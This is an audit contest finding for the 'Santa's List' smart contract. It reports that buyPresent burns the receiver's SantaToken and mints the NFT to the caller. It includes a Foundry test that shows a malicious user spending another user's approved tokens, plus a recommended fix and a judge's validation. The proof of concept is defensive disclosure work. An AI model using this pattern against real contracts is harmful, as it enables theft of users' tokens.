First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`SantasList::buyPresent` is vulnerable to front-running attacks thereby, enabling a malicious user to buy himself a present on someone else's dime.

0xspryon

Summary

SantasList::buyPresent is vulnerable to front-running attacks.

Vulnerability Details

SantasList::buyPresent is vulnerable to front-running attacks furthermore, the function as is currently is misleading because, instead of minting the SantasList ERC721 token to the present receiver, and extracting the ERC20 SantaToken from the msg.sender, it does the opposite. It rather bills the 1e18 SantaToken to the presentReceiver and mints the SantasList ERC721 token to the msg.Sender

POC

Put the below code excerpt in `test/unit/SantasListTest.t.sol`
function testFrontRunBuyPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
address maliciousUser = makeAddr("malicious_user");
​
vm.startPrank(user);
santasList.collectPresent();
santaToken.approve(address(santasList), 1e18);
vm.stopPrank();
// Malicious user frontruns the buyPresent call and steals the token
vm.prank(maliciousUser);
santasList.buyPresent(user);
​
vm.startPrank(user);
// This is the actual user for whom the approval to buy the present was intended
vm.expectRevert();
santasList.buyPresent(user);
vm.stopPrank();
​
assertEq(santasList.balanceOf(user), 1);
assertEq(santasList.balanceOf(maliciousUser), 1);
}

In the terminal run forge test --mt testFrontRunBuyPresent

Impact

A malicious user can buy a present on someone else's dime even if said someone else did not intend for the malicious user to be the recipient of the present.

Tools Used

Manual review

Recommendations

In SantasList::buyPresent, we should burn the ERC20 SantaToken of the msg.sender and mint the ERC721 SantasList token to the presentReceiver

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
- _mintAndIncrement();
+ _safeMint(presentReceiver, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.